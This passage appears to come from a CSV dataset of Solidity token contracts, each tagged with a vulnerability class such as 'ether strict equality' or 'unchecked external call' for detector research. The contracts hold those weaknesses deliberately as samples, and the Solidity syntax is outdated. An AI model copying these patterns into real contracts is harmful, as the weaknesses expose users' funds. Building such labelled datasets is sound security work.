amountOfTokens = 108 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 126 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 144 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 162 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 1875 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 375 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 5625 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 750 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 9375 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 1125 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 13125 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 1500 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 16875 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 1875 * 10**3 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 35588.sol,"contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* This implements ONLY the standard functions and NOTHING else. For a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. If you deploy this, you won't have anything useful. Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } /* This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. Imagine coins, currencies, shares, voting weight, etc. Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. 1) Initial Finite Supply (upon creation one specifies how much is minted). 2) In the absence of a token registry: Optional Decimal, Symbol & Name. 3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. .*/ contract HumanStandardToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7